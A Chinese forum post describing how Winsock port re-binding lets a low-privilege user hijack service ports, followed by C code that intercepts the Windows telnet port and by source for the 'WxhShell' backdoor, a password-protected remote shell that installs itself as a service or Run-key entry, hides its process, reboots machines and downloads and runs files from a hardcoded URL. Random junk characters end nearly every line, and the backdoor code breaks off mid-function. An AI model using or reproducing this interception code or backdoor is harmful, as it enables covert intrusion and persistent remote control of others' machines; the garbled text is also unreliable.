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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6F_:,b^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3vHkhhYQ  
rpUTn!*u/  
  saddr.sin_family = AF_INET; .aQ8I1~  
|pZ:5ta#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %)w7t[A2D  
AAF']z<4_"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *RmD%[f  
K SJ Ko  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YQ>O6:%  
H6hhU'Kxf8  
  这意味着什么?意味着可以进行如下的攻击: 9\VV++}s>o  
>eWORf>7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PXF u  
Vy6~O|68=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^"iJ  
cs 58: G5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K+ |0~/0  
(QS 0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {s0!hp  
r72zWpF!Ss  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 OkMAqS  
7ufTmz#j<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SB`xr!~A]  
P2F8[o!<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _:>t$* _  
n-{.7  
  #include ?u5jX J0L  
  #include P8[k1"c!  
  #include \A6 }=  
  #include    _ BoA&Ism  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]:}7-;$V  
  int main() p]qz+Z/  
  { !ScEA=  
  WORD wVersionRequested; p }e| E!  
  DWORD ret; p) ?6~\F:  
  WSADATA wsaData; +R_s(2vz  
  BOOL val; U ]7;K>.T  
  SOCKADDR_IN saddr; %' /^[j#  
  SOCKADDR_IN scaddr; \hdil`{>  
  int err; V`rxjv}!  
  SOCKET s; o1k+dJUd  
  SOCKET sc; .hjN*4RY  
  int caddsize; K1w:JA6(  
  HANDLE mt; L) UCVm  
  DWORD tid;   2t?Vl%<  
  wVersionRequested = MAKEWORD( 2, 2 ); =7EkN% V:{  
  err = WSAStartup( wVersionRequested, &wsaData ); )6%a9&~H  
  if ( err != 0 ) { }@~+%_;  
  printf("error!WSAStartup failed!\n"); ]TN/n%\  
  return -1; /4}y2JVv)  
  } cUO$IR)yL  
  saddr.sin_family = AF_INET; \}AJ)v*<  
   EHfB9%O7y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R 5\|pC  
FD5OO;$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >3}N;  
  saddr.sin_port = htons(23); /]of @  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^a$L9p(  
  { 8tO.o\)h  
  printf("error!socket failed!\n"); q{+}0!o  
  return -1; L\R(//V  
  } 4>/i,_&K K  
  val = TRUE; lYey7tl{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DPCQqV|7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iba8G]2  
  { z /nW; ow  
  printf("error!setsockopt failed!\n"); gGx<k3W^  
  return -1; ND/oKM+?  
  } h gu\~}kD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wYDdy gS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Lt i2KY}/%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {Es1bO  
>U(E \`9D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ! %B-y 9\  
  { oi8M6l  
  ret=GetLastError(); U;*O7K=P  
  printf("error!bind failed!\n"); ce*?crOV  
  return -1; Kw2]J)TO  
  } `6BQ6)7  
  listen(s,2); Wz#ZkNO  
  while(1) IJC]Al,df  
  { etQS&YzC  
  caddsize = sizeof(scaddr); bP,Ka  
  //接受连接请求 >qUD_U3A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1tTY )Evf  
  if(sc!=INVALID_SOCKET) CAmIwAx6;  
  { ff=RKKnN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k5 *Z@a  
  if(mt==NULL) A|GsbRuy  
  { ,c 0]r;u!  
  printf("Thread Creat Failed!\n"); _#uRKy<`N  
  break; jUDE)~h  
  } %cJdVDW`L  
  } q29d=  
  CloseHandle(mt); J4s`U/F  
  } _Fe=:q  
  closesocket(s); Qz"//=hC|H  
  WSACleanup(); 0#ON}l)>  
  return 0; J(A+mYr{:  
  }   KFy|,@NI  
  DWORD WINAPI ClientThread(LPVOID lpParam) x![G'I  
  { mo,"3YW  
  SOCKET ss = (SOCKET)lpParam; L0w2qF  
  SOCKET sc; 4G hg~0  
  unsigned char buf[4096]; L">m2/ HG  
  SOCKADDR_IN saddr; c._!dq&#R  
  long num; j,Qb'|f5  
  DWORD val; d,Oe3?][0p  
  DWORD ret; v- p8~u1N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >FJK$>[1:p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t3C#$ >  
  saddr.sin_family = AF_INET; q^7=/d8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9$}> O]  
  saddr.sin_port = htons(23); :XTxrYt28  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &Aym@G|k?  
  { Ga V OMT  
  printf("error!socket failed!\n"); .y0u"@iF  
  return -1; Yv2L0bUo:  
  } >h~>7i(A  
  val = 100; {hm-0Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *~w?@,}  
  { JvaHH!>d/  
  ret = GetLastError(); ]mjKF\  
  return -1; .'4@Yp{=  
  } e@& 2q{Gi=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z-M4J;J@}  
  { 2wgcVQ Awa  
  ret = GetLastError(); 1_StgFu u  
  return -1; \&U"7gSL  
  } &)|f|\yh"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YG)7+94  
  { G^SDB!/@J  
  printf("error!socket connect failed!\n"); >S S^qjh/  
  closesocket(sc); A0Q1"b=  
  closesocket(ss); J7~Kjl  
  return -1; =$ubSfx  
  } NxB/U_j  
  while(1) ;=@?( n  
  { ?%/*F<UVQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zy~*~;6tW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^K 9jJS9K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iR8;^C.aT  
  num = recv(ss,buf,4096,0); Vg mYm~y'  
  if(num>0) buWF6LFC  
  send(sc,buf,num,0); 3M'Y'Szm  
  else if(num==0) ej&o,gX  
  break; o=F!&]+  
  num = recv(sc,buf,4096,0); T(k:\z/  
  if(num>0) jO`L:D/C  
  send(ss,buf,num,0); 8^R~qpg%  
  else if(num==0) r4iT 9 D  
  break; %6Y}0>gY  
  } Ie8SPNY-H  
  closesocket(ss); q~X}&}UT  
  closesocket(sc); QqcAmp  
  return 0 ; M?kXzb\O  
  } 5 RYrAzQo  
1-R4A7+3  
Bma.Uln  
========================================================== "IWL& cH3  
w"A>mEex<  
下边附上一个代码,,WXhSHELL "c![s%  
9Z3Vf[n5\  
========================================================== eO{2rV45O  
Wck WX]};S  
#include "stdafx.h" pwF])uf*{\  
Hq,N OP  
#include <stdio.h> nQn=zbZ3  
#include <string.h> 9A}y^=!`  
#include <windows.h> 7'@~TM  
#include <winsock2.h> wB<cW>6  
#include <winsvc.h> {P%\& \{F  
#include <urlmon.h> ("=24R=a  
Cio (Ptt:  
#pragma comment (lib, "Ws2_32.lib") t,kai6UM  
#pragma comment (lib, "urlmon.lib") *O-m:M!eA  
yzXS{#\  
#define MAX_USER   100 // 最大客户端连接数 4 X0ku]  
#define BUF_SOCK   200 // sock buffer b'RBel;W  
#define KEY_BUFF   255 // 输入 buffer 0iz\<' p  
!T}R=;)e h  
#define REBOOT     0   // 重启 *4l6+#W  
#define SHUTDOWN   1   // 关机 e C&!yY2g  
0 Gq<APtr  
#define DEF_PORT   5000 // 监听端口 &*~_ "WyU  
^n\g,  
#define REG_LEN     16   // 注册表键长度 #Q|ACNpYM  
#define SVC_LEN     80   // NT服务名长度 <,9rXjeRl  
ETfoL.d$(  
// 从dll定义API kQrby\F(<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cOP%R_ak?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i^rHZmT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `<% w4 E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BIT<J5>  
 x![ut  
// wxhshell配置信息 0rc'SEl  
struct WSCFG { jfZ)  
  int ws_port;         // 监听端口 _~!c%_  
  char ws_passstr[REG_LEN]; // 口令 @rr\Jf""z  
  int ws_autoins;       // 安装标记, 1=yes 0=no hr g'Z5n  
  char ws_regname[REG_LEN]; // 注册表键名 ;Udx|1o  
  char ws_svcname[REG_LEN]; // 服务名 <In+V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x0xQFlGk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IN"6 =2:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dAjm4F -  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q*/jQC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5"Y:^_8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hP jL  
~e+pa|lO  
}; EsLtC5]  
`L.nj6F  
// default Wxhshell configuration Sqla+L*  
struct WSCFG wscfg={DEF_PORT, {%X[Snv  
    "xuhuanlingzhe", M|7{ZE`Y  
    1, OL623jQX  
    "Wxhshell", O{=@c96rl  
    "Wxhshell", XZ|\|(6Cc  
            "WxhShell Service", Lx3`.F\mG  
    "Wrsky Windows CmdShell Service", _147d5  
    "Please Input Your Password: ", CW~c<,"  
  1, }`uq:y  
  "http://www.wrsky.com/wxhshell.exe", RNX>I,2sh  
  "Wxhshell.exe" CbT ;#0  
    }; wd Di5-A4  
tj tN<y  
// 消息定义模块 &lB>G[t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +)7h)uq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x|3G}[=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^]$rh.7&  
char *msg_ws_ext="\n\rExit."; ~|`jIqU  
char *msg_ws_end="\n\rQuit."; G\*`%B_ n  
char *msg_ws_boot="\n\rReboot..."; A)nE+ec1  
char *msg_ws_poff="\n\rShutdown..."; n5?7iU&JIo  
char *msg_ws_down="\n\rSave to "; ymA8`k5>@  
`(@{t:L  
char *msg_ws_err="\n\rErr!"; w#;y  
char *msg_ws_ok="\n\rOK!"; SdJkno  
t},71Ry  
char ExeFile[MAX_PATH]; <J^94-[CF  
int nUser = 0; DXfQy6k'  
HANDLE handles[MAX_USER]; }kk[lvhJ  
int OsIsNt; N!13QI H  
`W4Is~VVv  
SERVICE_STATUS       serviceStatus; 6yMaW eT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #M:Vwn JX  
^~m}(6  
// 函数声明 ;7g~4Uv4}  
int Install(void); <J!?eH9f  
int Uninstall(void); Gk<6+.c~  
int DownloadFile(char *sURL, SOCKET wsh); 4pFoSs?\  
int Boot(int flag); "%+9p6/  
void HideProc(void); \0^Je>-:U  
int GetOsVer(void); !A"-9OS2  
int Wxhshell(SOCKET wsl); ^L's45&_  
void TalkWithClient(void *cs); \-:4TuU  
int CmdShell(SOCKET sock); Z]^O=kX7k  
int StartFromService(void); rF . Oo0  
int StartWxhshell(LPSTR lpCmdLine); ^+9i~PjL  
]U5/!e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qApf\o3[0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Oa7jLz'i  
uq@_DPA7  
// 数据结构和表定义 HQrx9CXE  
SERVICE_TABLE_ENTRY DispatchTable[] = 7]8apei|  
{ (EOYJHZB!  
{wscfg.ws_svcname, NTServiceMain}, Gv 6#LcF#  
{NULL, NULL} k)S'@>n{u  
}; }zHG]k,j  
{OW.^UIq^  
// 自我安装 BE," lX  
int Install(void) t8"yAYj  
{ CNyV6jb  
  char svExeFile[MAX_PATH]; `qj24ehc  
  HKEY key; c]/&xRd  
  strcpy(svExeFile,ExeFile); +v|]RgyW)  
,a} vx"~  
// 如果是win9x系统,修改注册表设为自启动 f15n ~d  
if(!OsIsNt) { rNX]tp{j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e>$E67h<~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FeuqqZ\=&  
  RegCloseKey(key); <0H^2ekd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b'G!)n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =' #yG(h  
  RegCloseKey(key); <z-+{-?z~  
  return 0; E% \Ohs7  
    } >/DlxYG?  
  } IVSd,AR7yY  
} YRJw,xl  
else { b`DPf@p^kc  
~.8p8\H  
// 如果是NT以上系统,安装为系统服务 1Ozy;;\-9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); + Scw;gO  
if (schSCManager!=0) R(DlJ  
{ Z=>#|pW,)  
  SC_HANDLE schService = CreateService [xg& `x9,.  
  ( IHNl`\Le  
  schSCManager, J, vEZT<Mt  
  wscfg.ws_svcname, 6?KJ"Ai9  
  wscfg.ws_svcdisp, c=~FXV!  
  SERVICE_ALL_ACCESS, Vw b6QIs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /}RW~ax  
  SERVICE_AUTO_START, $rmfE  
  SERVICE_ERROR_NORMAL, Y+_t50 S  
  svExeFile, W= $, \D+  
  NULL, f#zm}+,`  
  NULL, DbvKpM H  
  NULL, ^EmI;ks  
  NULL, [V.#w|n  
  NULL l*<RKY8  
  ); I?%iJ%  
  if (schService!=0) +`Ypc  
  { ?DKwKt  
  CloseServiceHandle(schService); ;Fm7!@u^0  
  CloseServiceHandle(schSCManager); WY" `wM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y4 ~;H{!  
  strcat(svExeFile,wscfg.ws_svcname); wdTjJf r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ce_E S.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B&c*KaK;~  
  RegCloseKey(key); 44(l1xEN+  
  return 0; *9xv0hRQ%?  
    } j_HwR9^fd,  
  } 8K0@*0  
  CloseServiceHandle(schSCManager); 5$L=l  
} W&8)yog.  
} cAc>p-y%  
N?krlR  
return 1; @F0+t;  
} U<mFwJ C]  
x6B_5eF  
// 自我卸载 h[I~D`q)v  
int Uninstall(void) *S=zJyAO  
{ O #S27.  
  HKEY key; #&ZwQw  
2';f8JLY  
if(!OsIsNt) { .@(9v.:_u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W=@]YI  
  RegDeleteValue(key,wscfg.ws_regname); <hSrx7o  
  RegCloseKey(key); b6A]/290x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *&lNzz5&  
  RegDeleteValue(key,wscfg.ws_regname); %vFoTu)2  
  RegCloseKey(key); i$!-mYi+Q!  
  return 0; Kn+m9  
  } CP!>V:w%9!  
} $d _%7xx  
} {P@OV1  
else { COk;z.Kn  
1Ydym2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); maR5hgWCHe  
if (schSCManager!=0) [<p7'n3x  
{ DKxzk~sOM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XK t">W  
  if (schService!=0) tW |K\NL  
  { sX$EdIq  
  if(DeleteService(schService)!=0) { _MC\\u/C/  
  CloseServiceHandle(schService); \5s #9  
  CloseServiceHandle(schSCManager); ?Wz rv&E2  
  return 0; ]K(>r#'nH  
  } }D>nXhO&  
  CloseServiceHandle(schService); @,{', =L6  
  } z}:|is)?  
  CloseServiceHandle(schSCManager); 1rmK#ld"=Z  
} vkQkU,q  
} c3$h-M(jVJ  
=UW! 7OzC  
return 1; t^zmv PDK  
} %d/Pc4gfc  
pk0C x  
// 从指定url下载文件 HKZD*E((  
int DownloadFile(char *sURL, SOCKET wsh) ,Bg)p_B  
{ qFD#D_O6  
  HRESULT hr; <_~>YJ  
char seps[]= "/"; o|?bvFC  
char *token; :L!O/Bd8V  
char *file; kt*""&R  
char myURL[MAX_PATH]; LCMCpEtY*K  
char myFILE[MAX_PATH]; 3A(sT}  
}+1Y>W7q  
strcpy(myURL,sURL); 8Vb.%f &I  
  token=strtok(myURL,seps); 1JI\e6]I  
  while(token!=NULL) v2uyn  
  { HX77XTy  
    file=token; |nFg"W  
  token=strtok(NULL,seps); 8 aHs I(  
  } q`8M9-~  
`Z:5E  
GetCurrentDirectory(MAX_PATH,myFILE); \Gk4J<  
strcat(myFILE, "\\"); QXcSDJ  
strcat(myFILE, file); Gcs eq  
  send(wsh,myFILE,strlen(myFILE),0); s;'j n_,0  
send(wsh,"...",3,0); |_^A$Hv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I*Q^$YnM  
  if(hr==S_OK) N5%zbfKM  
return 0; 9j;L-  
else "X }@VT=  
return 1; 8 ;C_@  
x!08FL)  
} vxRy7:G"  
o"a~  
// 系统电源模块 DFKumw>!  
int Boot(int flag) CAhkv0?8  
{ Gw5j6  
  HANDLE hToken; _*SA_.0  
  TOKEN_PRIVILEGES tkp; Gw/imXL  
5B lptC  
  if(OsIsNt) { ^}gQh#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m6 )sX&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nf7l}^/UE  
    tkp.PrivilegeCount = 1; eXqS9`zKr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d }"Dp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QKAo}1Pq  
if(flag==REBOOT) { 8RfFP\AP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4t0B_o"  
  return 0; Sf2pU!5n^  
} >(} I7  
else { mrzrQ@sN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v~2$9x!9  
  return 0; g0P^O@8  
} ;;9W/m~]  
  } xsPE UK&g  
  else { *hP9d;-Ar  
if(flag==REBOOT) { %$)[qa3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FM)Es&p&  
  return 0; YB^[HE\#y  
} pt rQ~m-  
else { 5jTBPct   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Aqwjs 3  
  return 0; B4yC"55  
} *[-% .=[7  
} >>ncq$  
lAxbF  
return 1; 0 s-IW  
} r pv`%  
b0A*zQA_)  
// win9x进程隐藏模块 UKBVCAK  
void HideProc(void) }w0>mA0=H  
{ xMAfa>]{n  
0<8p G:BQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +$hqwNh@Z@  
  if ( hKernel != NULL ) y7;i4::A\  
  { bF#*cH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $rAHtr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vakAl;  
    FreeLibrary(hKernel); $\0%"S  
  } PfaBzi9?f  
J;K-Pv +  
return; Fo=hL  
} "pDwN$c  
kIb)I(n  
// 获取操作系统版本 (o!v,=# 6{  
int GetOsVer(void) RJo"yB$1e6  
{ ~VRt 6C  
  OSVERSIONINFO winfo; j{i3lGaN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7gLN7_2  
  GetVersionEx(&winfo); : "|M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '.sS"QdN  
  return 1; I.f)rMl+h  
  else 8E m X  
  return 0; "Dc6kn^}3  
} $c!cO" U  
%6\e_y%  
// 客户端句柄模块 BI'}  
int Wxhshell(SOCKET wsl) `uO(#au,U  
{ Oie0cz:>:  
  SOCKET wsh; X}~5%B(  
  struct sockaddr_in client; \ 2$nFr?0  
  DWORD myID; +bG^SH2ke  
s~@4  
  while(nUser<MAX_USER) ~w&P]L\dB  
{ 7IrbwAGZ3  
  int nSize=sizeof(client); ;b(*Bh<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l (EDe  
  if(wsh==INVALID_SOCKET) return 1; F__j]}?  
7q>Y)*V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3;wAm/Z:Q  
if(handles[nUser]==0) }r}$8M+1  
  closesocket(wsh); }tvLe3O  
else l\PDou@5  
  nUser++; j4ARGkK5B  
  } qUH02" z@9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YEL, TU  
PdUlwT? 8C  
  return 0; :x36^{7  
}  p)5j~Nl  
j-e gsKR  
// 关闭 socket F~;G [6}  
void CloseIt(SOCKET wsh) -6URM`y'j  
{ 2S~cW./#fX  
closesocket(wsh); t% -"h|  
nUser--; %h)6o99{wF  
ExitThread(0); <oweLRt  
} d|^cKLu  
uSeRn@  
// 客户端请求句柄 h]wahExYP  
void TalkWithClient(void *cs) ]SqLF!S(=  
{ ,]1oG=`3v  
^sLnKAN  
  SOCKET wsh=(SOCKET)cs; :L~{Q>o  
  char pwd[SVC_LEN]; pzX684  
  char cmd[KEY_BUFF]; OLThi[Yn  
char chr[1]; |v,5s=} 7  
int i,j; N7S?m@  
RoV^sbWFt  
  while (nUser < MAX_USER) { V/X4WZs|i  
334UMH__  
if(wscfg.ws_passstr) { y\=(;]S'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V'kCd4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^hG Y,\K9  
  //ZeroMemory(pwd,KEY_BUFF); _0~WT  
      i=0; ]}KoW?M  
  while(i<SVC_LEN) { aR3R,6ec  
qb^jcy  
  // 设置超时 ]g#ur@Y%  
  fd_set FdRead; |'w_5?|4  
  struct timeval TimeOut; K4]42#  
  FD_ZERO(&FdRead); Rgb1B3gu  
  FD_SET(wsh,&FdRead); {`2R<O  
  TimeOut.tv_sec=8; @8IY J{=  
  TimeOut.tv_usec=0; pF)}<<C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z:RclDm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3~zK :(  
x$Gu)S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yc./:t1at>  
  pwd=chr[0]; t`PA85.|d  
  if(chr[0]==0xd || chr[0]==0xa) { ~i`@  
  pwd=0; ~VNN  
  break; 64qm  
  } W/z\j/Rgc  
  i++; ?\_N*NEtK  
    } ?vHow$  
4>q^W$  
  // 如果是非法用户,关闭 socket PV_E3,RY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q1:Y]Rbe  
} G~,K$z/-l  
(~YFm"S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _{.=zv|3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5hNjJqu  
1J}i :i&  
while(1) { t;[L-|^  
RR2Q  
  ZeroMemory(cmd,KEY_BUFF); k=t\  
5F@7A2ZR  
      // 自动支持客户端 telnet标准   )XB31^  
  j=0; O]ZP- WG  
  while(j<KEY_BUFF) { ' 0iXx   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z^+`S:  
  cmd[j]=chr[0]; S@AHI!"h=V  
  if(chr[0]==0xa || chr[0]==0xd) { [ \I&/?On  
  cmd[j]=0; m$T?~o o  
  break; $=>(7 =l_  
  } adHZX  
  j++; %GRD3S  
    } |aH;@V  
j@4 yRl ^  
  // 下载文件 H*#L~!]  
  if(strstr(cmd,"http://")) { @"M%ZnFu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :HSqa9>wa  
  if(DownloadFile(cmd,wsh)) ~vD7BO`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); //c<p  
  else @"BvyS,p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IR*g>q  
  } goYRA_%cX  
  else { U.7;:W}c  
X~/hv_@  
    switch(cmd[0]) { EJ$-  
  =bJj;bc'5  
  // 帮助 u{0'" jVJ  
  case '?': { C$X )I~M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +\SNaq~&  
    break; OiB*,TWV  
  } %9z N U  
  // 安装 |meo  
  case 'i': { ->DfT*)  
    if(Install()) IUX~dO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vp =  
    else 1}#(4tw)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >>lT-w  
    break; hg}Rh  
    } :e-&,K  
  // 卸载 EleK*l  
  case 'r': { <ex,@{n4  
    if(Uninstall()) pfj%AP:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d*%-r2K  
    else yZf+*j/a7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (<ybst6+I  
    break; ?b',kN,(  
    } DA s&4Y`  
  // 显示 wxhshell 所在路径 9Y:JA]U&8  
  case 'p': { 65FdA-4  
    char svExeFile[MAX_PATH]; iz'#K?PF_  
    strcpy(svExeFile,"\n\r"); }D5*   
      strcat(svExeFile,ExeFile); #u8|cs!  
        send(wsh,svExeFile,strlen(svExeFile),0); jr@u  
    break; )|>LSKT El  
    } gi::?ET/.  
  // 重启 \>0F{-cR$  
  case 'b': { pg3B^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?!H <V@a  
    if(Boot(REBOOT)) /1X0h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i2or/(u`  
    else { ]?P9M<0PM  
    closesocket(wsh); x)6yWr[ri%  
    ExitThread(0); vkmTd4g  
    } .lMIJN&/  
    break; zh5{t0E}C  
    } 76[O3%  
  // 关机 9XGzQ45R  
  case 'd': { F{*S}&q*)o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'L#qR)t  
    if(Boot(SHUTDOWN)) |RqCw7  
